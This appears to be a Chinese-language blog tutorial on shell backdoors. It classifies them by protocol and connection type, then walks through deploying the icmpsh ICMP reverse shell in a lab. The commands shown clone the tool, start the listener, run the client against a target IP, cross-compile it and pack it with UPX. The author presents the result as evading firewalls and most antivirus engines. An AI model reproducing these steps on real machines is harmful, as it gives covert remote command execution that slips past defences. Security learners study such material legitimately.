劍走偏鋒:細數Shell那些事

按平臺分類的話,基本上大體可以分爲兩大類:針對web級別的和針對系統級別的。針對web的大體根據語言不同又分爲PHP、JSP、ASP等(這 讓我不由得想起了那些年,大牛們寫過的各種後門……),針對系統級別的一般分爲:windows後門和基於unix的後門,不過到現在爲止我並沒有見過 apple後門,大概,是因爲我窮吧。

言歸正傳,今天我要跟大家聊的東西,是針對系統的Shell後門。煩請大牛不要噴我,覺得文章水的可以直接略過不談。

0×01 我先分個類

這裏我按照協議不同來分類。

首先,是基於TCP UDP協議的shell

這類shell已經遍地都是,而且功能也越來越強大,因爲基於這兩種協議的***通信能力更強。當然樹大易招風,關於這類shell後門也越來越多的 受到安全廠商的關注,造成的結果是這類***一般都是產業級的進行免殺操作,使用之後被殺毒軟件截獲便失去效用,需要重新做免殺。而這玩意兒略貴。所以一般 的個人想玩玩又不懂免殺的根本玩不起。

其次,是基於ICMP協議的shell

我們都知道,通信協議無外乎TCP UDP ICMP了,既然前兩種玩不起我們就來看看ICMP怎麼樣。

既然是通信協議嘛,肯定是可以發送數據的,那麼我們來看看一個PING究竟發送了什麼數據:

14153466266893.png%21small

14152684885983.png%21small

從圖上就可以清晰看出來了。第一張是windows ping的時候發送的數據,第二張圖是linux的ping的時候發送的數據,還是有點差距的,嗯。

通過以上證據就可以證明ICMP協議通信是可以帶着我們想要的數據飛的,最起碼理論上是可行的。

然後,是基於DNS解析的shell

除去三種協議以外,還有一種是基於DNS解析的後門shell。之前我記得有人發過一種劍(wei)走(suo)偏(zhi)鋒(ji)的 CMCC(或者Chinanet)的不登陸的上網方式,用的就是DNS;之前還有一個***就是用這種方式來傳數據的,那場面,更加猥瑣,簡直不忍直視。。

這裏DNS解析後門自然是有好處的,就是極不容易被察覺,但是自然也有缺點,那就是數據走得慢。這個慢,不是一般的慢,總的說來,你要是想用高級功能比如桌面控制,呵呵,基本不可能,而且實施起來也略微複雜。所以這次我們暫且不講,以後再討論。

按照協議分完了,我們再按照連接方式分一下

按照連接方式,分爲主動連接和被動連接,主動連接是Bind Shell,被動連接是Reverse Shell,這個我想大家也應該很熟悉了。這裏上幾張圖簡要做一下解釋(圖片來源於網絡

14152692229076.png%21small

由***機主動連接受害主機,這種我們叫做Bind Shell,缺點是易被攔截易掉線。

14152692206294.png%21small

由被***主機主動連接***機器,這種我們叫做Reverse Shell,是目前主流的Shell使用的類型,缺點是需要***機器有固定的公網IP,優點是不用擔心目標機器的動態IP導致掉線問題。

但是,不管是Bind Shell還是Reverse Shell,因爲基於TCP或者UDP,防火牆很敏感,容易被防火牆攔截,即便是我們的後門已經經過了殺軟的考驗,可能也會在這一輪中折掉,導致我們的後門安插失敗。

1415269224540.png%21small

今天我們要跟大家分享的是:ICMP Reverse Shell

0×02 測試平臺簡介

首先,我們得挑一個ICMP的通信Shell,當然自己寫也是可以的。平臺的原理是其實還是通信,利用ICMP通信協議,將我們想要執行的shell命令通過服務端傳給客戶端,然後客戶端將執行之後得到的數據通過ICMP包傳回來,服務端負責接收然後回顯。

這裏我們挑取git的一個ICMP Shell項目進行實際操作。

先把項目取回本地

git clone https://github.com/inquisb/icmpsh.git /opt/icmp_reverse_shell

拿下來之後,我們可以看到這裏面的文件了。這裏面所有的東西都是開源的,方便我們看詳細原理。其實文件中主要起作用的主要是兩個文 件,icmpsh_m.py和icmpsh.exe,其中icmpsh_m.py是服務端需要執行的python腳本,icmpsh.exe是客戶端需要 執行的腳本。還有一個icmpsh-s.c的slave客戶端的源代碼文件,有興趣的同學可以看一下。除此之外,還有一個run.sh的BASH文件,文 件內容大家可以自己看,主要就是如果你忘了配置什麼東西他會事先配置好,最終起作用的還是icmpsh_m.py,所以最後服務端我們就用run.sh就 好了

0×03 演練

說了這麼多,下面我們開始玩真的。

先說服務端:

運行run.sh

./run.sh

然後我們根據提示輸入IP,這裏IP應該是公網IP,但是這裏使用的是內網,所以我們輸入C段IP,然後回車,我們就可以看到這樣的提示:

14153459175200.png%21small

這樣服務端就配置好了,正在監聽狀態。

下面是客戶端:

我們打開靶機的cmd,輸入命令:

icmpsh.exe -t 192.168.246.129 -d 500 -b 30 -s 128

14153460507298.png%21small

***機這邊就成功拿到shell了

14153461088077.png%21small

到這裏,基本上想做什麼就沒問題了。

Shell中執行的命令已經被執行,但是靶機完全沒反應

14153462705097.png%21small

下面是玩耍時間,這個時候靶機ping一下***機,就發現***機收到了靶機的ping的聊騷內容,居然還有“hi”,掩面///…

14153462721543.png%21small

使用wireshark截個包看一下,嗯,數據全出來了,好赤果果

14153462764222.png%21small

實操就這樣。

0×04 關於Shell客戶端

首先一個問題是Shell客戶端的運行平臺問題,很明顯,客戶端是隻針對於windows平臺的,Server是跨平臺的。

然後就是客戶端的來源,當然大家可以使用作者在git上面給出的exe,也可以自己檢查源代碼文件然後自行編譯加殼,編譯的過程如下(這裏只說linux的編譯過程):

首先安裝mingw,這是編譯的關鍵

sudo apt-get update
sudo apt-get install gcc-mingw32

過程中計算機會將其餘附加包一起裝好我們就不操心了。

安裝好之後就是編譯

i686-w64-mingw32-gcc icmpsh-s.c -o icmp-slave.exe

14153478064003.png%21small

然後我們可以用upx加個殼

upx -v icmp-slave.exe -o icmp-slave-upx.exe

14153480769524.png%21small

這樣一個客戶端就成型了,我們可以看出來壓縮率大約在56%左右,壓縮完之後大小56K左右。

其實除了以上問題之外,我想大家最關心的就應該是殺軟對Shell的反應了吧。細心的小夥伴應該發現了,在上面的圖裏,我的靶機是 全程運行着360進行的實驗(不是刻意爲之,是之前做測試的時候靶機就裝上了,這次沒關),其實不只是360,到目前寫本文章之前,絕大部分殺軟都沒有報 毒。當然,這裏我說的是我自己生成的客戶端,至於git上自帶的客戶端,國內殺毒軟件還是基本上都檢測出來了。

可是我可憐的小a啊。。

14153489294987.png%21small

至於更全面的測試,我這裏貼上virustotal.com的結果:

首先是關於git上自帶的客戶端,我們發現大多數國內廠商都報毒了,看到這裏我表示很欣慰。:)

14153488164342.png%21small

然後我再拿我自己生成的加過殼的exe看一下,咦這是什麼情況。。。

14153492608505.png%21small

然後我們再看看剛編譯出來熱乎的,好像就更奇怪了。。

14153495464938.png%21small

看來是殺毒軟件對upx現在是越來越敏感了,加個殼都不饒過。至於其他的奇怪現象。。。咦?飛碟!

0×05 後記

寫到這裏,ICMP反向Shell介紹也就告一段落了,東西確實不是新東西,技術也沒有多複雜,不過重點在於思路,在於以此爲基礎實現的更多更好(wei)玩(suo)的玩法。這次的交流就到這裏,有更多更好的更猥瑣的玩法的同學,歡迎聊騷私信。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章